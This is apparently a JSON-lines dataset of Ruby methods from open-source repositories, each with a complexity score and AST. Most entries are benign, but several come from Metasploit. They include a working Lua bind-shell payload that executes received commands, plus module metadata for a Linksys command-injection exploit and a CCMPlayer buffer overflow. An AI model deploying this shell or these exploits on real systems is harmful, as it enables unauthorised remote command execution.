{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/parent_filter.rb","start_line":41,"raw_source":"def where\n    # The filter had been called parent before and it is stored in the database like that.\n    # The other association filters all have _id in their self.key.\n    operator_strategy.sql_for_field(no_templated_values, self.class.model.table_name, :parent_id)\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator_strategy\"]},\"sql_for_field\",{\"type\":\"send\",\"children\":[null,\"no_templated_values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"model\"]},\"table_name\"]},{\"type\":\"sym\",\"children\":[\"parent_id\"]}]}]}","id":"23983ca0-0fc7-4f07-b2f6-13d06e33615d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/task_helpers/exports/custom_buttons.rb","start_line":64,"raw_source":"def log_export(object)\n        $log.info(\"Exporting #{object.class.name}: #{object.try('name')} (ID: #{object&.id})\")\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_export\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exporting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"try\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\" (ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}","id":"7181f384-be59-49e9-942d-045cc19013c9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/linksys_wvbr0_user_agent_exec_noauth.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Linksys WVBR0-25 User-Agent Command Execution',\n        'Description' => %q{\n          The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie\n          cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41\n          of the web management portal via the User-Agent header. Authentication is not required to\n          exploit this vulnerability.\n        },\n        'Author' => [\n          'HeadlessZeke' # Vulnerability discovery and Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2017-17411'],\n          ['ZDI', '17-973'],\n          ['URL', 'https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair']\n        ],\n        'DisclosureDate' => '2017-12-13',\n        'Privileged' => true,\n        'Payload' => {\n          'DisableNops' => true,\n          'Space' => 1024,\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd',\n                          'RequiredCmd' => 'generic netcat'\n                        }\n        },\n        'Platform' => 'unix',\n        'Arch' => ARCH_CMD,\n        'Targets' => [[ 'Automatic', {}]],\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Linksys WVBR0-25 User-Agent Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie\\n\"]},{\"type\":\"str\",\"children\":[\"          cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41\\n\"]},{\"type\":\"str\",\"children\":[\"          of the web management portal via the User-Agent header. Authentication is not required to\\n\"]},{\"type\":\"str\",\"children\":[\"          exploit this vulnerability.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HeadlessZeke\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-17411\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"17-973\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2017-12-13\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic netcat\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"8af11d0f-6c58-4d15-afbb-6e0afe31c7d1"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/http/response.rb","start_line":384,"raw_source":"def body=(body)\n      # Prevent ActionController::Metal::Live::Response from committing the response prematurely.\n      synchronize do\n        if body.respond_to?(:to_str)\n          @stream = build_buffer(self, [body])\n        elsif body.respond_to?(:to_path)\n          @stream = body\n        elsif body.respond_to?(:to_ary)\n          @stream = build_buffer(self, body)\n        else\n          @stream = body\n        end\n      end\n    end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"body=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"body\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_str\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@stream\",{\"type\":\"send\",\"children\":[null,\"build_buffer\",{\"type\":\"self\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@stream\",{\"type\":\"lvar\",\"children\":[\"body\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_ary\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@stream\",{\"type\":\"send\",\"children\":[null,\"build_buffer\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@stream\",{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}]}]}]}","id":"044df3de-1f85-4c57-a837-282118289bc8"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post_analyzer.rb","start_line":4,"raw_source":"def initialize(raw, topic_id)\n    @raw = raw\n    @topic_id = topic_id\n    @onebox_urls = []\n    @found_oneboxes = false\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw\"]},{\"type\":\"arg\",\"children\":[\"topic_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@raw\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@topic_id\",{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@onebox_urls\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@found_oneboxes\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"53249e56-5b3d-4a17-afdf-e93a5f30863e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/file.rb","start_line":153,"raw_source":"def File.sticky?(name)\n    stat(name).sticky?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"sticky?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stat\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"sticky?\"]}]}","id":"8216d1bf-9362-402d-8852-7b0909e19b96"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/app_store_version.rb","start_line":113,"raw_source":"def can_reject?\n        raise \"No app_store_version_submission included\" unless app_store_version_submission\n        return app_store_version_submission.can_reject\n      end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"can_reject?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_store_version_submission\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"No app_store_version_submission included\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_store_version_submission\"]},\"can_reject\"]}]}]}]}","id":"146da698-ef9c-4a44-96fb-f76c57417e04"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/validations.rb","start_line":423,"raw_source":"def validate!(context = nil)\n      valid?(context) || raise_validation_error\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate!\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"context\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid?\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[null,\"raise_validation_error\"]}]}]}","id":"9f9c2b8c-508b-4d95-9d6a-f750c6a5dcd6"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/category_badge.rb","start_line":4,"raw_source":"def self.html_for(category, opts = nil)\n    opts ||= {}\n\n    # Bail if there is no category, hide uncategorized by default\n    return \"\" if category.blank? || (category.uncategorized? && !opts[:show_uncategorized])\n\n    if opts[:inline_style]\n      # Inline styles for email\n      style_for_email(category, opts)\n    else\n      # Browser styles\n      style_for_browser(category, opts)\n    end\n  end","complexity_score":14.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"html_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"uncategorized?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"show_uncategorized\"]}]},\"!\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"inline_style\"]}]},{\"type\":\"send\",\"children\":[null,\"style_for_email\",{\"type\":\"lvar\",\"children\":[\"category\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[null,\"style_for_browser\",{\"type\":\"lvar\",\"children\":[\"category\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}]}","id":"c49635e7-f5b8-466c-8a31-6a5e1aa0c798"}
{"repo_name":"forem","file_path":"./repos/forem/app/uploaders/logo_uploader.rb","start_line":30,"raw_source":"def filename\n    # random_string in the filename to avoid caching issues\n    \"original_logo_#{random_string}.#{file.extension}\"\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filename\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"original_logo_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"random_string\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"extension\"]}]}]}]}","id":"9d98102d-9ebc-4fa7-af82-899abe7dab3f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":1256,"raw_source":"def post_edits_count\n    stat.post_edits_count\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"post_edits_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stat\"]},\"post_edits_count\"]}]}","id":"860bcd61-c0be-4626-b29b-11960b972e40"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/errors/not_implemented.rb","start_line":35,"raw_source":"def initialize(error_message = \"Not yet implemented\".freeze, **)\n        super(error_message)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"error_message\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Not yet implemented\"]},\"freeze\"]}]},{\"type\":\"kwrestarg\",\"children\":[]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_message\"]}]}]}","id":"68098d64-7317-4189-ba1e-89c7efcf3c92"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cache/import/caching.rb","start_line":281,"raw_source":"def self.value_from_hash(raw_key, field, timeout: TIMEOUT)\n          key = cache_key_for(raw_key)\n\n          value = with_redis { |redis| redis.hget(key, field) }\n\n          with_redis { |redis| redis.expire(key, timeout) } if value.present?\n\n          value\n        end","complexity_score":11.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"value_from_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_key\"]},{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"kwoptarg\",\"children\":[\"timeout\",{\"type\":\"const\",\"children\":[null,\"TIMEOUT\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[null,\"cache_key_for\",{\"type\":\"lvar\",\"children\":[\"raw_key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"hget\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"present?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"expire\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"c2e20e06-da90-422b-a92e-4ee5bebe9ad8"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/form_fields/editor_form_field.rb","start_line":9,"raw_source":"def initialize(property, selector: nil)\n      super\n\n      @editor = ::Components::WysiwygEditor.new(selector)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"property\"]},{\"type\":\"kwoptarg\",\"children\":[\"selector\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@editor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Components\"]},\"WysiwygEditor\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]}]}]}]}","id":"c549ebb1-1b53-49fc-b7e7-e01152bf5011"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/translation_helper_test.rb","start_line":329,"raw_source":"def test_translate_with_interpolated_string_default\n    translation = translate(:\"translations.missing\", default: \"An %{kind} String\", kind: \"Interpolated\")\n    assert_equal \"An Interpolated String\", translation\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_translate_with_interpolated_string_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"translation\",{\"type\":\"send\",\"children\":[null,\"translate\",{\"type\":\"sym\",\"children\":[\"translations.missing\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"An %{kind} String\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"kind\"]},{\"type\":\"str\",\"children\":[\"Interpolated\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"An Interpolated String\"]},{\"type\":\"lvar\",\"children\":[\"translation\"]}]}]}]}","id":"3fc340a5-f15b-4a1b-9ff5-bd22ad9e5830"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/unix/bind_lua.rb","start_line":52,"raw_source":"def command_string\n    \"#{datastore['LuaPath']} -e \\\"local s=require('socket');local s=assert(s.bind('*',#{datastore['LPORT']}));local c=s:accept();while true do local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();\\\"\"\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"command_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LuaPath\"]}]}]},{\"type\":\"str\",\"children\":[\" -e \\\"local s=require('socket');local s=assert(s.bind('*',\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]}]},{\"type\":\"str\",\"children\":[\"));local c=s:accept();while true do local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();\\\"\"]}]}]}","id":"d21e768c-42ee-48a7-9a48-2c4ae74e9797"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/fixtures/development/03_project.rb","start_line":184,"raw_source":"def create_real_projects!\n    # You can specify how many projects you need during seed execution\n    size = ENV['SIZE'].present? ? ENV['SIZE'].to_i : 8\n\n    PROJECT_URLS.first(size).each_with_index do |url, i|\n      self.class.create_real_project!(url: url, force_latest_storage: i.even?, organization: organization)\n    end\n  end","complexity_score":15.08,"ast_json":"{\"type\":\"def\",\"children\":[\"create_real_projects!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SIZE\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SIZE\"]}]},\"to_i\"]},{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PROJECT_URLS\"]},\"first\",{\"type\":\"lvar\",\"children\":[\"size\"]}]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"create_real_project!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force_latest_storage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"even?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization\"]},{\"type\":\"send\",\"children\":[null,\"organization\"]}]}]}]}]}]}]}","id":"4df3386e-75dd-44b1-99ee-1e97a1438811"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'CCMPlayer 1.5 m3u Playlist Stack Based Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening\n          a m3u playlist with a long track name, a SEH exception record can be overwritten\n          with parts of the controllable buffer. SEH execution is triggered after an\n          invalid read of an injectable address, thus allowing arbitrary code execution.\n          This module works on multiple Windows platforms including: Windows XP SP3,\n          Windows Vista, and Windows 7.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => ['Rh0'],\t# discovery and metasploit module\n        'References' => [\n          ['CVE', '2011-5170'],\n          ['OSVDB', '77453'],\n          ['EDB', '18178']\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n          'DisablePayloadHandler' => true\n        },\n        'Payload' => {\n          'Space' => 0x1000,\n          'BadChars' => \"\\x00\\x0d\\x0a\\x1a\\x2c\\x2e\\x3a\\x5c\", # \\x00\\r\\n\\x1a,.:\\\\\n          'DisableNops' => true,\n          'StackAdjustment' => -3500,\n        },\n        'Platform'\t=> 'win',\n        'Targets' => [\n          [\n            'CCMPlayer 1.5',\n            {\n              # pop esi / pop ebx / ret (in ccmplay.exe)\n              # tweak it if necessary\n              'Ret' => 0x00403ca7,\t# last NULL in buffer is accepted\n              'Offset' => 0x1000\n            }\n          ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2011-11-30', # to my knowledge\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('FILENAME', [ true, 'The file name.', 'msf.m3u']),\n      ]\n    )\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"CCMPlayer 1.5 m3u Playlist Stack Based Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening\\n\"]},{\"type\":\"str\",\"children\":[\"          a m3u playlist with a long track name, a SEH exception record can be overwritten\\n\"]},{\"type\":\"str\",\"children\":[\"          with parts of the controllable buffer. SEH execution is triggered after an\\n\"]},{\"type\":\"str\",\"children\":[\"          invalid read of an injectable address, thus allowing arbitrary code execution.\\n\"]},{\"type\":\"str\",\"children\":[\"          This module works on multiple Windows platforms including: Windows XP SP3,\\n\"]},{\"type\":\"str\",\"children\":[\"          Windows Vista, and Windows 7.\\n\"]},{\"type\":\"str\",\"children\":[\"        